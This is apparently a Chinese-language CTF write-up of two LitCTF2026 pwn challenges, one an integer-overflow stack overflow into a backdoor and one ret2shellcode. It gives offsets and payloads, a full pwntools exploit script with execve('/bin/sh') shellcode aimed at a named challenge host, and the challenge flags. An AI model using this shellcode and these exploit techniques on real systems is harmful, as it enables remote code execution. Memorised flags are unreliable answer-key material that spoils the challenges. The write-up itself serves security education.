1 | flag{ipoe9nnc-vgci-4gw-8g0h-a8sth6hobegiy} |
[LitCTF2026] lit_integer_overflow
题目描述:
1 | 程序说它会读取你指定长度的数据,但这个长度检查真的安全吗? |


size是有符号int。- 程序虽然检查了
size >= 0 && size <= 63,但即使不满足也照样继续执行read()。 read()的第三个参数被强转为unsigned int,所以输入-1会变成0xffffffff。
这意味着只要输入负数,就能让 read() 向 buf[64] 里写入远超边界的数据,形成栈溢出。
从符号表可以直接拿到后门地址:0x4011d7

read() 实际写入的位置是 [rbp-0x40],也就是一个 64 字节缓冲区。返回地址在 [rbp+8],因此覆盖返回地址所需偏移是:
1 | 0x40 + 0x8 = 0x48 = 72 |
先单独发送负数,触发超大读取,发送-1.
程序会进入错误分支并打印:Invalid size! But I’ll still read it anyway…
再单独发送payload:
1 | payload = b"A" * 72 + p64(0x40101A) + p64(0x4011D7) |
72 是覆盖到返回地址的偏移。
0x40101A 是一个单独的 ret gadget,用来做栈对齐。
0x4011D7 是 backdoor() 地址。
脚本:
1 | from pwn import * |

flag为:
1 | flag{egw6xmta-mae1-4ko-8jop-6bt7ffxx6c6ap} |
[LitCTF2026] lit_ret2shellcode
题目描述:
1 | 这是一个古老的工坊,工匠们在这里直接在栈上刻写代码。 |


程序在 vuln() 中定义了一个栈缓冲区。
随后直接:read(0, buf, 0x200);
这会把最多 0x200 字节写进只有 100 字节的缓冲区,造成经典栈溢出。
同时程序还主动泄露了栈上 buf 的地址。printf(“Here is a hint for you: buf is at %p\n”, buf);
因此利用链非常直接:
读取程序输出,拿到
buf地址。将 amd64 shellcode 写入
buf。用填充覆盖到返回地址。
将返回地址改成泄露出的
buf地址。函数返回后跳到栈上执行 shellcode,拿到 shell。
payload:payload = shellcode.ljust(120, b”A”) + p64(buf_addr)
脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42from pwn import *
import sys
HOST = "challenge.cyclens.tech"
PORT = 32232
BIN_PATH = "./ret2shellcode"
OFFSET = 120
SHELLCODE = bytes.fromhex(
"4831f65648bf2f62696e2f2f736857545f6a3b58990f05"
)
def start():
if len(sys.argv) > 1 and sys.argv[1] == "local":
return process(BIN_PATH)
return remote(HOST, PORT)
def build_payload(buf_addr: int) -> bytes:
return SHELLCODE.ljust(OFFSET, b"A") + p64(buf_addr)
def main():
context.clear(arch="amd64", os="linux")
io = start()
io.recvuntil(b"buf is at ")
buf_addr = int(io.recvline().strip(), 16)
io.recvuntil(b"Leave your mark on the stack: ")
payload = build_payload(buf_addr)
io.send(payload)
sleep(0.2)
io.sendline(b"cat /flag || cat /flag.txt || cat /app/flag*")
io.interactive()
if __name__ == "__main__":
main()
flag为:
1 | flag{i6mbkmak-lg2l-4zy-8jdy-srdzelt2wshre} |
